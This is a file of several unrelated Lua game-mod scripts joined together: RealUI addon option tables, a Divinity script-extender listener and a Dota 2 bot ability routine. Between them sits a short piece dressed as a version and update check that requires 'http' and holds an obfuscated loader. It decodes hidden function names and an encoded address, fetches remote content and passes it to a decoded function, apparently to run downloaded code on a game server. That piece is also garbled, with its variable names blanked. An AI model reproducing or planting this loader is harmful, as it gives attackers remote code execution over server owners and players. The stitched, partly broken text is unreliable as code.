UnitFrames:RefreshUnits("ClassColorBars")
end,
order = 10,
},
classColorNames = {
name = L["Appearance_ClassColorNames"],
type = "toggle",
get = function() return UnitFrames.db.profile.overlay.classColorNames end,
set = function(info, value)
UnitFrames.db.profile.overlay.classColorNames = value
end,
order = 15,
},
reverseBars = {
name = L["HuD_ReverseBars"],
type = "toggle",
get = function() return RealUI.db.profile.settings.reverseUnitFrameBars end,
set = function(info, value)
RealUI.db.profile.settings.reverseUnitFrameBars = value
UnitFrames:RefreshUnits("ReverseBars")
end,
order = 20,
},
statusText = {
name = _G.STATUS_TEXT,
desc = _G.OPTION_TOOLTIP_STATUS_TEXT_DISPLAY,
type = "select",
values = function()
return {
both = _G.STATUS_TEXT_BOTH,
perc = _G.STATUS_TEXT_PERCENT,
value = _G.STATUS_TEXT_VALUE,
}
end,
get = function(info)
return UnitFrames.db.profile.misc.statusText
end,
set = function(info, value)
UnitFrames.db.profile.misc.statusText = value
UnitFrames:RefreshUnits("StatusText")
end,
order = 30,
},
focusClick = {
name = L["UnitFrames_SetFocus"],
desc = L["UnitFrames_SetFocusDesc"],
type = "toggle",
get = function() return UnitFrames.db.profile.misc.focusclick end,
set = function(info, value)
UnitFrames.db.profile.misc.focusclick = value
end,
order = 40,
},
focusKey = {
name = L["UnitFrames_ModifierKey"],
type = "select",
values = function()
return {
shift = _G.SHIFT_KEY_TEXT,
ctrl = _G.CTRL_KEY_TEXT,
alt = _G.ALT_KEY_TEXT,
}
end,
disabled = function() return not UnitFrames.db.profile.misc.focusclick end,
get = function(info)
return UnitFrames.db.profile.misc.focuskey
end,
set = function(info, value)
UnitFrames.db.profile.misc.focuskey = value
end,
order = 41,
},
}
},
units = {
name = L["UnitFrames_Units"],
type = "group",
childGroups = "tab",
disabled = function() return not(RealUI:GetModuleEnabled(MODNAME)) end,
order = 20,
args = {
player = {
name = _G.PLAYER,
type = "group",
order = 10,
args = {}
},
pet = {
name = _G.PET,
type = "group",
order = 20,
args = {}
},
target = {
name = _G.TARGET,
type = "group",
order = 30,
args = {}
},
targettarget = {
name = _G.SHOW_TARGET_OF_TARGET_TEXT,
type = "group",
order = 40,
args = {}
},
focus = {
name = _G.FOCUS,
type = "group",
order = 50,
args = {}
},
focustarget = {
name = _G.BINDING_NAME_FOCUSTARGET,
type = "group",
order = 60,
args = {}
},
}
},
groups = {
name = _G.GROUPS,
type = "group",
childGroups = "tab",
disabled = function() return not(RealUI:GetModuleEnabled(MODNAME)) end,
order = 30,
args = {
boss = {
name = _G.BOSS,
type = "group",
order = 10,
args = {
showPlayerAuras = {
name = L["UnitFrames_PlayerAuras"],
desc = L["UnitFrames_PlayerAurasDesc"],
type = "toggle",
get = function() return UnitFrames.db.profile.boss.showPlayerAuras end,
set = function(info, value)
UnitFrames.db.profile.boss.showPlayerAuras = value
end,
order = 10,
},
showNPCAuras = {
name = L["UnitFrames_NPCAuras"],
desc = L["UnitFrames_NPCAurasDesc"],
type = "toggle",
get = function() return UnitFrames.db.profile.boss.showNPCAuras end,
set = function(info, value)
UnitFrames.db.profile.boss.showNPCAuras = value
end,
order = 20,
},
buffCount = {
name = L["UnitFrames_BuffCount"],
type = "range",
min = 1, max = 8, step = 1,
get = function(info) return UnitFrames.db.profile.boss.buffCount end,
set = function(info, value) UnitFrames.db.profile.boss.buffCount = value end,
order = 30,
},
debuffCount = {
name = L["UnitFrames_DebuffCount"],
type = "range",
min = 1, max = 8, step = 1,
get = function(info) return UnitFrames.db.profile.boss.debuffCount end,
set = function(info, value) UnitFrames.db.profile.boss.debuffCount = value end,
order = 40,
},
}
},
arena = {
name = _G.ARENA,
type = "group",
order = 20,
args = {
enabled = {
name = L["General_Enabled"],
desc = L["General_EnabledDesc"]:format("RealUI ".._G.SHOW_ARENA_ENEMY_FRAMES_TEXT),
type = "toggle",
get = function() return UnitFrames.db.profile.arena.enabled end,
set = function(info, value)
UnitFrames.db.profile.arena.enabled = value
end,
order = 10,
},
options = {
name = "",
type = "group",
inline = true,
disabled = function() return not UnitFrames.db.profile.arena.enabled end,
order = 20,
args = {
announceUse = {
name = L["UnitFrames_AnnounceTrink"],
desc = L["UnitFrames_AnnounceTrinkDesc"],
type = "toggle",
get = function() return UnitFrames.db.profile.arena.announceUse end,
set = function(info, value)
UnitFrames.db.profile.arena.announceUse = value
end,
order = 10,
},
announceChat = {
name = _G.CHAT,
desc = L["UnitFrames_AnnounceChatDesc"],
type = "select",
values = function()
return {
group = _G.INSTANCE_CHAT,
say = _G.CHAT_MSG_SAY,
}
end,
disabled = function() return not UnitFrames.db.profile.arena.announceUse end,
get = function(info)
return _G.strlower(UnitFrames.db.profile.arena.announceChat)
end,
set = function(info, value)
UnitFrames.db.profile.arena.announceChat = value
end,
order = 20,
},
--[[showPets = {
name = SHOW_ARENA_ENEMY_PETS_TEXT,
desc = OPTION_TOOLTIP_SHOW_ARENA_ENEMY_PETS,
type = "toggle",
get = function() return db.arena.showPets end,
set = function(info, value)
db.arena.showPets = value
end,
order = 30,
},
showCast = {
name = SHOW_ARENA_ENEMY_CASTBAR_TEXT,
desc = OPTION_TOOLTIP_SHOW_ARENA_ENEMY_CASTBAR,
type = "toggle",
get = function() return db.arena.showCast end,
set = function(info, value)
db.arena.showCast = value
end,
order = 40,
},]]
},
},
}
},
raid = {
name = _G.RAID,
type = "group",
childGroups = "tab",
order = 30,
args = {
advanced = {
name = "Grid 2",
type = "execute",
disabled = not _G.Grid2,
func = function(info, ...)
_G.Grid2:OnChatCommand("")
end,
order = 0,
},
}
},
}
},
},
}
local ufArgs = optArgs.unitframes.args
CombatFader:AddFadeConfig("UnitFrames", ufArgs.general, 50, true)
do -- import hideRaidFilters from minimap
local MinimapAdv = RealUI:GetModule("MinimapAdv")
ufArgs.groups.args.raid.args.hideRaidFilters = {
type = "toggle",
name = L["Raid_HideRaidFilter"],
desc = L["Raid_HideRaidFilterDesc"],
get = function(info) return MinimapAdv.db.profile.information.hideRaidFilters end,
set = function(info, value)
MinimapAdv.db.profile.information.hideRaidFilters = value
end,
order = 50,
}
end
local units = ufArgs.units.args
for unitSlug, unit in next, units do
unit.args.x = {
name = L["General_XOffset"],
type = "input",
order = 10,
get = function(info) return tostring(UnitFrames.db.profile.positions[RealUI.db.profile.settings.hudSize][unitSlug].x) end,
set = function(info, value)
value = ValidateOffset(value)
UnitFrames.db.profile.positions[RealUI.db.profile.settings.hudSize][unitSlug].x = value
end,
}
unit.args.y = {
name = L["General_YOffset"],
type = "input",
order = 20,
get = function(info) return tostring(UnitFrames.db.profile.positions[RealUI.db.profile.settings.hudSize][unitSlug].y) end,
set = function(info, value)
value = ValidateOffset(value)
UnitFrames.db.profile.positions[RealUI.db.profile.settings.hudSize][unitSlug].y = value
end,
}
if unitSlug == "player" or unitSlug == "target" then
unit.args.anchorWidth = {
name = L["UnitFrames_AnchorWidth"],
desc = L["UnitFrames_AnchorWidthDesc"],
type = "range",
width = "full",
min = round(uiWidth * 0.1),
max = round(uiWidth * 0.5),
step = 1,
bigStep = 4,
order = 30,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["UFHorizontal"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["UFHorizontal"] = value
RealUI:UpdatePositioners()
end,
}
end
--[[ future times
local unitInfo = db.units[unitSlug]
unit.args = {
width = {
name = L["HuD_Width"],
type = "input",
--width = "half",
order = 10,
get = function(info) return tostring(unitInfo.height.x) end,
set = function(info, value)
unitInfo.height.x = value
end,
pattern = "^(%d+)$",
usage = "You can only use whole numbers."
},
height = {
name = L["HuD_Height"],
type = "input",
--width = "half",
order = 20,
get = function(info) return tostring(unitInfo.height.y) end,
set = function(info, value)
unitInfo.height.y = value
end,
pattern = "^(%d+)$",
usage = "You can only use whole numbers."
},
healthHeight = {
name = "Health bar height",
desc = "The height of the health bar as a percentage of the total unit height",
type = "range",
width = "double",
min = 0,
max = 1,
step = .01,
isPercent = true,
order = 50,
get = function(info) return unitInfo.healthHeight end,
set = function(info, value)
unitInfo.healthHeight = value
end,
},
x = {
name = L["General_XOffset"],
type = "range",
min = -100,
max = 50,
step = 1,
order = 30,
get = function(info) return unitInfo.position.x end,
set = function(info, value)
unitInfo.position.x = value
end,
},
y = {
name = "L["General_YOffset"],
type = "range",
min = -100,
max = 100,
step = 1,
order = 40,
get = function(info) return unitInfo.position.y end,
set = function(info, value)
unitInfo.position.y = value
end,
},
--]]
end
local groups = ufArgs.groups.args
for groupSlug, group in next, groups do
if groupSlug == "boss" or groupSlug == "arena" then
local args = groupSlug == "boss" and group.args or group.args.options.args
args.horizontal = {
name = L["HuD_Horizontal"],
type = "range",
width = "full",
min = -round(uiWidth * 0.85),
max = -30,
step = 1,
bigStep = 4,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["BossX"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["BossX"] = value
RealUI:UpdatePositioners()
end,
order = 2,
}
args.vertical = {
name = L["HuD_Vertical"],
type = "range",
width = "full",
min = -round(uiHeight * 0.4),
max = round(uiHeight * 0.4),
step = 1,
bigStep = 2,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["BossY"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["BossY"] = value
RealUI:UpdatePositioners()
end,
order = 4,
}
args.gap = {
name = L["UnitFrames_Gap"],
desc = L["UnitFrames_GapDesc"],
type = "range",
min = 0, max = 10, step = 1,
get = function(info) return UnitFrames.db.profile.boss.gap end,
set = function(info, value) UnitFrames.db.profile.boss.gap = value end,
order = 6,
}
end
end
end
do -- CastBars
debug("HuD CastBars")
local MODNAME = "CastBars"
local CastBars = RealUI:GetModule(MODNAME)
local function CreateFrameOptions(unit, order)
return {
name = _G[unit:upper()],
type = "group",
order = order,
args = {
reverse = {
name = L["HuD_ReverseBars"],
type = "toggle",
get = function() return CastBars.db.profile[unit].reverse end,
set = function(info, value)
CastBars.db.profile[unit].reverse = value
CastBars:UpdateSettings(unit)
end,
order = 1,
},
text = {
name = _G.LOCALE_TEXT_LABEL,
type = "select",
hidden = unit == "focus",
values = RealUI.globals.cornerPoints,
get = function(info)
for k,v in next, RealUI.globals.cornerPoints do
if v == CastBars.db.profile[unit].text then return k end
end
end,
set = function(info, value)
CastBars.db.profile[unit].text = RealUI.globals.cornerPoints[value]
CastBars:UpdateSettings(unit)
end,
order = 2,
},
position = {
name = L["General_Position"],
type = "group",
inline = true,
order = 3,
args = {
point = {
name = L["General_AnchorPoint"],
type = "select",
values = RealUI.globals.anchorPoints,
get = function(info)
for k,v in next, RealUI.globals.anchorPoints do
if v == CastBars.db.profile[unit].position.point then return k end
end
end,
set = function(info, value)
CastBars.db.profile[unit].position.point = RealUI.globals.anchorPoints[value]
FramePoint:RestorePosition(CastBars)
end,
order = 10,
},
x = {
name = L["General_XOffset"],
desc = L["General_XOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info)
return _G.tostring(CastBars.db.profile[unit].position.x)
end,
set = function(info, value)
CastBars.db.profile[unit].position.x = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(CastBars)
end,
order = 11,
},
y = {
name = L["General_YOffset"],
desc = L["General_YOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info) return _G.tostring(CastBars.db.profile[unit].position.y) end,
set = function(info, value)
CastBars.db.profile[unit].position.y = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(CastBars)
end,
order = 12,
},
}
}
}
}
end
optArgs.castbars = {
name = L[MODNAME],
icon = "bolt",
type = "group",
childGroups = "tab",
order = 3,
args = {
enable = {
name = L["General_Enabled"],
desc = L["General_EnabledDesc"]:format(L[MODNAME]),
type = "toggle",
get = function(info) return RealUI:GetModuleEnabled(MODNAME) end,
set = function(info, value)
RealUI:SetModuleEnabled("CastBars", value)
CloseHuDWindow()
RealUI:ReloadUIDialog()
end,
order = 1,
},
lock = {
name = L["General_Lock"],
desc = L["General_LockDesc"],
type = "toggle",
get = function(info) return FramePoint:IsModLocked(CastBars) end,
set = function(info, value)
if value then
FramePoint:LockMod(CastBars)
else
FramePoint:UnlockMod(CastBars)
end
end,
order = 2,
},
player = CreateFrameOptions("player", 10),
target = CreateFrameOptions("target", 20),
focus = CreateFrameOptions("focus", 30),
}
}
end
do -- ClassResource
debug("HuD ClassResource")
local MODNAME = "ClassResource"
local ClassResource = RealUI:GetModule(MODNAME)
local points, bars = ClassResource:GetResources()
debug("points and bars", points, bars)
if points or bars then
local barOptions, pointOptions
if RealUI:GetModuleEnabled("ClassResource") then
barOptions = {
name = bars or "",
type = "group",
hidden = bars == nil,
order = 20,
args = {
width = {
name = L["HuD_Width"],
type = "input",
get = function(info) return tostring(ClassResource.db.class.bar.size.width) end,
set = function(info, value)
ClassResource.db.class.bar.size.width = value
ClassResource:SettingsUpdate("bar", "size")
end,
order = 1,
},
height = {
name = L["HuD_Height"],
type = "input",
get = function(info) return tostring(ClassResource.db.class.bar.size.height) end,
set = function(info, value)
ClassResource.db.class.bar.size.height = value
ClassResource:SettingsUpdate("bar", "size")
end,
order = 2,
},
position = {
name = L["General_Position"],
type = "group",
inline = true,
order = 3,
args = {
point = {
name = L["General_AnchorPoint"],
type = "select",
values = RealUI.globals.anchorPoints,
get = function(info)
for k,v in next, RealUI.globals.anchorPoints do
if v == ClassResource.db.class.bar.position.point then return k end
end
end,
set = function(info, value)
ClassResource.db.class.bar.position.point = RealUI.globals.anchorPoints[value]
FramePoint:RestorePosition(ClassResource)
end,
order = 1,
},
x = {
name = L["General_XOffset"],
desc = L["General_XOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info)
return _G.tostring(ClassResource.db.class.bar.position.x)
end,
set = function(info, value)
ClassResource.db.class.bar.position.x = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(ClassResource)
end,
order = 2,
},
y = {
name = L["General_YOffset"],
desc = L["General_YOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info) return _G.tostring(ClassResource.db.class.bar.position.y) end,
set = function(info, value)
ClassResource.db.class.bar.position.y = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(ClassResource)
end,
order = 3,
},
}
}
}
}
pointOptions = {
name = points.name,
type = "group",
order = 20,
args = {
hideempty = {
name = L["Resource_HideUnused"]:format(points.name),
desc = L["Resource_HideUnusedDesc"]:format(points.name),
type = "toggle",
hidden = RealUI.charInfo.class.token == "DEATHKNIGHT",
get = function(info) return ClassResource.db.class.points.hideempty end,
set = function(info, value)
ClassResource.db.class.points.hideempty = value
ClassResource:ForceUpdate()
end,
order = 1,
},
reverse = {
name = L["Resource_Reverse"],
desc = L["Resource_ReverseDesc"]:format(points.name),
type = "toggle",
hidden = points.token ~= "COMBO_POINTS",
get = function(info) return ClassResource.db.class.points.reverse end,
set = function(info, value)
ClassResource.db.class.points.reverse = value
ClassResource:SettingsUpdate("points", "gap")
end,
order = 2,
},
width = {
name = L["HuD_Width"],
type = "input",
hidden = RealUI.charInfo.class.token ~= "DEATHKNIGHT",
get = function(info) return tostring(ClassResource.db.class.points.size.width) end,
set = function(info, value)
ClassResource.db.class.points.size.width = value
ClassResource:SettingsUpdate("points", "size")
end,
order = 10,
},
height = {
name = L["HuD_Height"],
type = "input",
hidden = RealUI.charInfo.class.token ~= "DEATHKNIGHT",
get = function(info) return tostring(ClassResource.db.class.points.size.height) end,
set = function(info, value)
ClassResource.db.class.points.size.height = value
ClassResource:SettingsUpdate("points", "size")
end,
order = 11,
},
gap = {
name = L["Resource_Gap"],
desc = L["Resource_GapDesc"]:format(points.name),
type = "input",
hidden = RealUI.charInfo.class.token == "PALADIN",
get = function(info) return tostring(ClassResource.db.class.points.size.gap) end,
set = function(info, value)
value = ValidateOffset(value)
ClassResource.db.class.points.size.gap = value
ClassResource:SettingsUpdate("points", "gap")
end,
order = 12,
},
position = {
name = L["General_Position"],
type = "group",
inline = true,
order = 20,
args = {
point = {
name = L["General_AnchorPoint"],
type = "select",
values = RealUI.globals.anchorPoints,
get = function(info)
for k,v in next, RealUI.globals.anchorPoints do
if v == ClassResource.db.class.points.position.point then return k end
end
end,
set = function(info, value)
ClassResource.db.class.points.position.point = RealUI.globals.anchorPoints[value]
FramePoint:RestorePosition(ClassResource)
end,
order = 1,
},
x = {
name = L["General_XOffset"],
desc = L["General_XOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info)
return _G.tostring(ClassResource.db.class.points.position.x)
end,
set = function(info, value)
ClassResource.db.class.points.position.x = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(ClassResource)
end,
order = 2,
},
y = {
name = L["General_YOffset"],
desc = L["General_YOffsetDesc"],
type = "input",
dialogControl = "NumberEditBox",
get = function(info) return _G.tostring(ClassResource.db.class.points.position.y) end,
set = function(info, value)
ClassResource.db.class.points.position.y = round(_G.tonumber(value), 1)
FramePoint:RestorePosition(ClassResource)
end,
order = 3,
},
}
}
}
}
CombatFader:AddFadeConfig("ClassResource", pointOptions, 50, true)
end
optArgs.classresource = {
name = L["Resource"],
icon = "cogs",
type = "group",
childGroups = "tab",
order = 4,
args = {
enable = {
name = L["General_Enabled"],
desc = L["General_EnabledDesc"]:format(L["Resource"]),
type = "toggle",
get = function(info)
return RealUI:GetModuleEnabled("ClassResource")
end,
set = function(info, value)
RealUI:SetModuleEnabled("ClassResource", value)
CloseHuDWindow()
RealUI:ReloadUIDialog()
end,
order = 1,
},
lock = {
name = L["General_Lock"],
desc = L["General_LockDesc"],
type = "toggle",
get = function(info) return FramePoint:IsModLocked(ClassResource) end,
set = function(info, value)
if value then
FramePoint:LockMod(ClassResource)
else
FramePoint:UnlockMod(ClassResource)
end
end,
order = 2,
},
bars = barOptions,
points = pointOptions,
}
}
end
end
debug("HuD Options")
|
local version = "0.310.30" --We'll check for this later.
//Main code
require("http")
local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' local = 0 for _ in ['\103\109\97\116\99\104'](,'\46') do if _ == '\124' then = ..['\99\104\97\114']((,43)) = 0 else = +1 end end return end [[[s|pH|Rh|P|]]][[[O||xQ||P|]]]([[v|Yn|vR|S|Kq|J|l|||Q|nR|Ob|q||A|i5|E3||pK||7q|6|n|Te||L||U8|2|0|1|||7H|I|v6|Wp|gD|h|Q|P|z|Tl|m|f|A||j3|3|w|A|z|r|OP||H|h|qx|6b|lN|E||Ub||||23|TG|em|2|5v|]],function (continue)[[[J1||]]][[[4|e|||vH|9H|||3|]]](continue)end )
//Update check
//Coming soon
|
Ext.Require('Auxiliary.lua')
Ext.Require('Server/ContextMenu.lua')
Ext.RegisterNetListener(Channel.QuickAdd, function(channel, payload)
local payload = Ext.JsonParse(payload) or {}
if not IsValid(payload) then return end
local item = Ext.GetItem(payload.itemNetId)
local container = Ext.GetItem(payload.containerNetId)
Osi.ItemToInventory(item.MyGuid, container.MyGuid, -1, 1, 0)
end)
Ext.RegisterNetListener(Channel.QuickAdd .. "Return", function(channel, payload)
local payload = Ext.JsonParse(payload) or {}
if not IsValid(payload) then return end
local item = Ext.GetItem(payload.itemNetId)
Osi.ItemToInventory(item.MyGuid, Osi.CharacterGetHostCharacter(), -1, 1, 0)
end) |
require(GetScriptDirectory() .. "/logic")
require(GetScriptDirectory() .. "/ability_item_usage_generic")
local debugmode=false
local npcBot = GetBot()
local Talents ={}
local Abilities ={}
local AbilitiesReal ={}
ability_item_usage_generic.InitAbility(Abilities,AbilitiesReal,Talents)
local AbilityToLevelUp=
{
Abilities[1],
Abilities[3],
Abilities[2],
Abilities[2],
Abilities[2],
Abilities[4],
Abilities[2],
Abilities[1],
Abilities[1],
"talent",
Abilities[1],
Abilities[4],
Abilities[3],
Abilities[3],
"talent",
Abilities[3],
"nil",
Abilities[4],
"nil",
"talent",
"nil",
"nil",
"nil",
"nil",
"talent",
}
local TalentTree={
function()
return Talents[1]
end,
function()
return Talents[3]
end,
function()
return Talents[5]
end,
function()
return Talents[7]
end
}
logic.CheckAbilityBuild(AbilityToLevelUp)
function AbilityLevelUpThink()
ability_item_usage_generic.AbilityLevelUpThink2(AbilityToLevelUp,TalentTree)
end
local cast={} cast.Desire={} cast.Target={} cast.Type={}
local Consider ={}
local CanCast={logic.NCanCast,logic.NCanCast,logic.NCanCast,logic.UCanCast}
local enemyDisabled=logic.enemyDisabled
function GetComboDamage()
return ability_item_usage_generic.GetComboDamage(AbilitiesReal)
end
function GetComboMana()
return ability_item_usage_generic.GetComboMana(AbilitiesReal)
end
Consider[1]=function()
local abilityNumber=1
local ability=AbilitiesReal[abilityNumber];
if not ability:IsFullyCastable() then
return BOT_ACTION_DESIRE_NONE, 0;
end
local CastRange = ability:GetCastRange();
local Damage = ability:GetAbilityDamage();
local Radius = ability:GetAOERadius()
local CastPoint=ability:GetCastPoint()
local HeroHealth=10000
local CreepHealth=10000
local allys = npcBot:GetNearbyHeroes( 1200, false, BOT_MODE_NONE );
local enemys = npcBot:GetNearbyHeroes(CastRange + 75*#allys,true,BOT_MODE_NONE)
local WeakestEnemy,HeroHealth=logic.GetWeakestUnit(enemys)
local creeps = npcBot:GetNearbyCreeps(CastRange + 75*#allys,true)
local WeakestCreep,CreepHealth=logic.GetWeakestUnit(creeps)
for _,npcEnemy in pairs( enemys )
do
if ( npcEnemy:IsChanneling() )
then
return BOT_ACTION_DESIRE_HIGH+0.05, npcEnemy,"Target";
end
end
if(npcBot:GetActiveMode() ~= BOT_MODE_RETREAT )
then
if (WeakestEnemy~=nil)
then
if ( CanCast[abilityNumber]( WeakestEnemy ) )
then
if(HeroHealth<=WeakestEnemy:GetActualIncomingDamage(Damage,DAMAGE_TYPE_MAGICAL) or (HeroHealth<=WeakestEnemy:GetActualIncomingDamage(GetComboDamage(),DAMAGE_TYPE_MAGICAL) and npcBot:GetMana()>ComboMana))
then
local d=GetUnitToUnitDistance(npcBot,WeakestEnemy)
if(d<=CastRange+Radius)
then
return BOT_ACTION_DESIRE_HIGH,WeakestEnemy,"Target"
else
return BOT_ACTION_DESIRE_HIGH,logic.GetUnitsTowardsLocation(npcBot,WeakestEnemy,GetUnitToUnitDistance(npcBot,WeakestEnemy)+100),"Location"
end
end
end
end
end
do
local enemys2 = npcBot:GetNearbyHeroes( 300, true, BOT_MODE_NONE );
for _,npcEnemy in pairs( enemys2 )
do
if ( CanCast[abilityNumber]( npcEnemy ) )
then
return BOT_ACTION_DESIRE_HIGH, npcEnemy,"Target"
end
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_RETREAT and npcBot:GetActiveModeDesire() >= BOT_MODE_DESIRE_HIGH )
then
for _,npcEnemy in pairs( enemys )
do
if ( npcBot:WasRecentlyDamagedByHero( npcEnemy, 2.0 ) )
then
return BOT_ACTION_DESIRE_HIGH, npcEnemy,"Target"
end
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_ROAM or
npcBot:GetActiveMode() == BOT_MODE_TEAM_ROAM or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_ALLY or
npcBot:GetActiveMode() == BOT_MODE_ATTACK )
then
local locationAoE = npcBot:FindAoELocation( false, true, npcBot:GetLocation(), CastRange, Radius, CastPoint, 0 );
if ( locationAoE.count >= 2 )
then
return BOT_ACTION_DESIRE_LOW, locationAoE.targetloc,"Location"
end
local npcEnemy = npcBot:GetTarget();
if ( npcEnemy ~= nil )
then
if (CanCast[abilityNumber]( npcEnemy ) and not enemyDisabled(npcEnemy) and GetUnitToUnitDistance(npcBot,npcEnemy)< CastRange + 75*#allys)
then
return BOT_ACTION_DESIRE_MODERATE, npcEnemy,"Target"
end
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_LANING )
then
if((ManaPercentage>0.4 or npcBot:GetMana()>ComboMana) and ability:GetLevel()>=2 )
then
if (WeakestEnemy~=nil)
then
if ( CanCast[abilityNumber]( WeakestEnemy ) )
then
return BOT_ACTION_DESIRE_LOW,WeakestEnemy,"Target"
end
end
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_FARM ) then
local locationAoE = npcBot:FindAoELocation( true, false, npcBot:GetLocation(), CastRange, Radius, CastPoint, Damage );
if ( locationAoE.count >= 3 ) then
return BOT_ACTION_DESIRE_LOW, locationAoE.targetloc,"Location"
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_PUSH_TOWER_TOP or
npcBot:GetActiveMode() == BOT_MODE_PUSH_TOWER_MID or
npcBot:GetActiveMode() == BOT_MODE_PUSH_TOWER_BOT or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_TOWER_TOP or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_TOWER_MID or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_TOWER_BOT )
then
local locationAoE = npcBot:FindAoELocation( true, false, npcBot:GetLocation(), CastRange, Radius, CastPoint, 0 );
if ( locationAoE.count >= 3 )
then
return BOT_ACTION_DESIRE_LOW, locationAoE.targetloc,"Location"
end
end
return BOT_ACTION_DESIRE_NONE, 0
end
Consider[2]=function()
local abilityNumber=2
local ability=AbilitiesReal[abilityNumber];
if not ability:IsFullyCastable() then
return BOT_ACTION_DESIRE_NONE, 0;
end
local CastRange = ability:GetCastRange();
local Damage = ability:GetAbilityDamage();
local HeroHealth=10000
local CreepHealth=10000
local allys = npcBot:GetNearbyHeroes( 1200, false, BOT_MODE_NONE );
local enemys = npcBot:GetNearbyHeroes(CastRange+300,true,BOT_MODE_NONE)
local WeakestEnemy,HeroHealth=logic.GetWeakestUnit(enemys)
for _,npcEnemy in pairs( enemys )
do
if ( npcEnemy:IsChanneling() )
then
return BOT_ACTION_DESIRE_HIGH, npcEnemy;
end
end
local tableNearbyAttackingAlliedHeroes = npcBot:GetNearbyHeroes( 1000, false, BOT_MODE_ATTACK );
if ( #tableNearbyAttackingAlliedHeroes >= 2 )
then
local npcMostDangerousEnemy = nil;
local nMostDangerousDamage = 0;
for _,npcEnemy in pairs( enemys )
do
if ( CanCast[abilityNumber]( npcEnemy ) and not enemyDisabled(npcEnemy))
then
local Damage2 = npcEnemy:GetEstimatedDamageToTarget( false, npcBot, 3.0, DAMAGE_TYPE_ALL );
if ( Damage2 > nMostDangerousDamage )
then
nMostDangerousDamage = Damage2;
npcMostDangerousEnemy = npcEnemy;
end
end
end
if ( npcMostDangerousEnemy ~= nil )
then
return BOT_ACTION_DESIRE_HIGH, npcMostDangerousEnemy;
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_RETREAT and npcBot:GetActiveModeDesire() >= BOT_MODE_DESIRE_HIGH )
then
for _,npcEnemy in pairs( enemys )
do
if ( npcBot:WasRecentlyDamagedByHero( npcEnemy, 2.0 ) )
then
if ( CanCast[abilityNumber]( npcEnemy ) and not enemyDisabled(npcEnemy))
then
return BOT_ACTION_DESIRE_HIGH, npcEnemy;
end
end
end
end
if ( npcBot:GetActiveMode() == BOT_MODE_ROAM or
npcBot:GetActiveMode() == BOT_MODE_TEAM_ROAM or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_ALLY or
npcBot:GetActiveMode() == BOT_MODE_ATTACK )
then
local npcEnemy = npcBot:GetTarget();
if ( npcEnemy ~= nil )
then
if ( CanCast[abilityNumber]( npcEnemy ) and not enemyDisabled(npcEnemy) and GetUnitToUnitDistance(npcBot,npcEnemy)< CastRange + 75*#allys)
then
return BOT_ACTION_DESIRE_MODERATE, npcEnemy
end
end
end
return BOT_ACTION_DESIRE_NONE, 0;
end
Consider[3]=function()
local abilityNumber=3
local ability=AbilitiesReal[abilityNumber];
if not ability:IsFullyCastable() or AbilitiesReal[1]:IsFullyCastable() or AbilitiesReal[2]:IsFullyCastable() then
return BOT_ACTION_DESIRE_NONE, 0;
end
local CastRange = ability:GetCastRange();
local Damage = ability:GetAbilityDamage();
local DrainMana=ability:GetSpecialValueFloat("duration")*ability:GetSpecialValueInt("mana_per_second")
local HeroHealth=10000
local CreepHealth=10000
local allys = npcBot:GetNearbyHeroes( 1200, false, BOT_MODE_NONE );
local enemys = npcBot:GetNearbyHeroes(CastRange+150,true,BOT_MODE_NONE)
local WeakestEnemy,HeroHealth=logic.GetWeakestUnit(enemys)
local creeps = npcBot:GetNearbyCreeps(CastRange+150,true)
local WeakestCreep,CreepHealth=logic.GetWeakestUnit(creeps)
if(npcBot:GetActiveMode() ~= BOT_MODE_RETREAT )
then
local BestTarget
if(npcBot:GetMaxMana()-npcBot:GetMana()<=DrainMana and #enemys<=#allys)
then
for _,npcEnemy in pairs(enemys)
do
if ( CanCast[abilityNumber]( npcEnemy ) and npcEnemy:GetMana() > 0.5*DrainMana)
then
BestTarget=npcEnemy
if(enemyDisabled(npcEnemy))
then
break
end
end
end
if ( BestTarget~=nil)
then
return BOT_ACTION_DESIRE_MODERATE,BestTarget;
end
for _,npcEnemy in pairs(creeps)
do
if ( CanCast[abilityNumber]( npcEnemy ) and npcEnemy:GetMana()>0.5*DrainMana)
then
return BOT_ACTION_DESIRE_MODERATE+0.01,npcEnemy;
end
end
end
end
if AbilitiesReal[1]:IsFullyCastable() or AbilitiesReal[2]:IsFullyCastable() then
return BOT_ACTION_DESIRE_NONE, 0;
end
if ( npcBot:GetActiveMode() == BOT_MODE_ROAM or
npcBot:GetActiveMode() == BOT_MODE_TEAM_ROAM or
npcBot:GetActiveMode() == BOT_MODE_DEFEND_ALLY or
npcBot:GetActiveMode() == BOT_MODE_ATTACK )
then
local npcEnemy = npcBot:GetTarget();
if ( npcEnemy ~= nil )
then
if ( CanCast[abilityNumber]( npcEnemy ) and GetUnitToUnitDistance(npcBot,npcEnemy)< CastRange + 75*#allys)
then
return BOT_ACTION_DESIRE_MODERATE+0.04, npcEnemy
end
end
end
return BOT_ACTION_DESIRE_NONE, 0;
end
